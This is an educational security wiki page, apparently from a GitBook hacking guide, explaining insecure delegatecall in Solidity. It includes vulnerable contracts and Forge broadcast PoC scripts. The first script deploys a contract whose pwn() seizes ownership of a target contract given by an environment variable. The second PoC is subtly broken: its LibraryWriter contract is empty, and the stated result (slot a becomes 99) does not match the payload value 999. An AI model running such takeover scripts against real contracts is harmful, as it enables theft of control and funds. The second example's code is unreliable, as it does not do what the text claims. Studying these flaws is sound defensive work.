# Insecure DelegateCall

## Theory

`delegatecall` is one of the most dangerous low-level operations in Solidity. When misused, it can lead to arbitrary code execution, storage corruption, ownership takeover, and complete contract compromise.

`delegatecall` invokes code from another contract, **but executes it in the caller's context**.\
This means:

* `msg.sender` remains the original caller
* `msg.value` is unchanged
* The code runs with the caller’s storage layout
* State variables are written to the caller’s storage slots
* The callee’s storage is ignored entirely

Essentially, the callee’s contract becomes a *logic extension* of the caller.

<figure><img src="https://329872044-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FMdUKdzuqIuObdvCB3mUR%2Fuploads%2Fgit-blob-fca4e5ee5d68d348fa5611f23e25d8972b932a1b%2Fdelegatecall2.png?alt=media" alt="delegateCall schema"><figcaption></figcaption></figure>

This makes `delegatecall` extremely dangerous as the delegated contract runs with full authority and writes to the caller’s storage, a single unsafe `delegatecall` can compromise the entire system.

#### **Storage Layout Dependency**

Because the callee reads and writes storage **as if it owned the caller’s storage**, security fully depends on **strictly matching storage layouts**:

| Slot | Proxy Storage  | Library Storage |
| ---- | -------------- | --------------- |
| 0    | owner          | ???             |
| 1    | implementation | ???             |
| 2    | userBalance    | ???             |

If the library’s first variable is not `owner`, then calling it using `delegatecall` **overwrites the wrong slot**, corrupting the state.

## Practice

{% tabs %}
{% tab title="User-Controlled Address" %}
**Arbitrary Code Execution via User-Controlled Address**

When a contract allows the caller to specify the target address for `delegatecall`, it effectively grants them full code execution authority.

Since the delegated code runs in the caller’s storage context, an attacker can deploy a malicious contract and force the caller to execute it, modifying critical storage values such as ownership variables.

```solidity
// Vulnerable Contract
pragma solidity ^0.8.13;

contract Executor {
    address public lib;
    address public owner;

    function execute(bytes memory data, address target) public {
        target.delegatecall(data);   // User controls delegatecall target
    }
}

```

The attacker simply needs to provide a malicious implementation and the encoded function call.

```solidity
// PoC
// forge script scripts/DelegatecallArbitraryExec.s.sol --rpc-url $RPC_URL --broadcast
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

interface IExecutor {
    function execute(bytes calldata, address) external;
}

contract Attack {
    address public lib;
    address public owner;

    function pwn() external {
        owner = msg.sender;
    }
}

contract DelegatecallArbitraryExec is Script {
    function run() external {
        vm.startBroadcast();

        IExecutor exec = IExecutor(vm.envAddress("EXECUTOR"));
        Attack attack = new Attack();

        bytes memory payload = abi.encodeWithSignature("pwn()");

        exec.execute(payload, address(attack));

        vm.stopBroadcast();
    }
}
```

{% endtab %}

{% tab title="Layout Mismatch" %}
**Storage Corruption Through Layout Mismatch**

Even when the target contract is trusted, a mismatch in storage layout guarantees corruption.

```solidity
pragma solidity ^0.8.0;

contract StorageContract {
    uint256 public a;     // slot 0
    uint256 public b;     // slot 1
    address public lib;   // slot 2

    function run(address _lib, bytes calldata data) external {
        _lib.delegatecall(data);
    }
}

contract Library {
    uint256 public temp; // slot 0 (overwrites StorageContract.a)

    function write(uint256 x) external {
        temp = x;
    }
}
```

After execution of this PoC, the storage slot a will be 99

```solidity
// forge script scripts/DelegatecallStorageCorruption.s.sol --broadcast
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

interface IStorageContract {
    function run(address, bytes calldata) external;
}

contract LibraryWriter {}

contract DelegatecallStorageCorruption is Script {
    function run() external {
        vm.startBroadcast();

        IStorageContract target = IStorageContract(vm.envAddress("TARGET"));
        LibraryWriter lib = new LibraryWriter();

        bytes memory payload = abi.encodeWithSignature("write(uint256)", 999);

        target.run(address(lib), payload);

        vm.stopBroadcast();
    }
}
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://beta.hackndo.com/ethereum-virtual-machine/>" %}

{% embed url="<https://scs.owasp.org/SCWE/SCSVS-COMM/SCWE-035/>" %}
